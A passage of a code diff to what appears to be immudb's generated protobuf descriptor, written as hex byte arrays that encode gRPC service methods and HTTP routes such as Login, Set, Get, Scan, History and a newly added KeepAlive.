0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, - 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, - 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, - 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, - 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, - 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, - 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, - 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, - 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, - 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, - 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, - 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, - 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, - 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, - 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, - 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, - 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, - 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, + 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, 0x08, 0x52, 0x6f, + 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, 0x78, 0x53, 0x51, + 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, + 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, + 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, + 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, + 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, + 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, - 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, - 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, - 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, - 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, - 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, - 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, - 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, - 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, - 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, - 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, - 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, - 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, - 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, - 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, - 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, - 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, - 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, - 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, - 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, - 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, - 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, - 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, - 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, - 0x02, 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, - 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, - 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, 0x0a, - 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, - 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, - 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 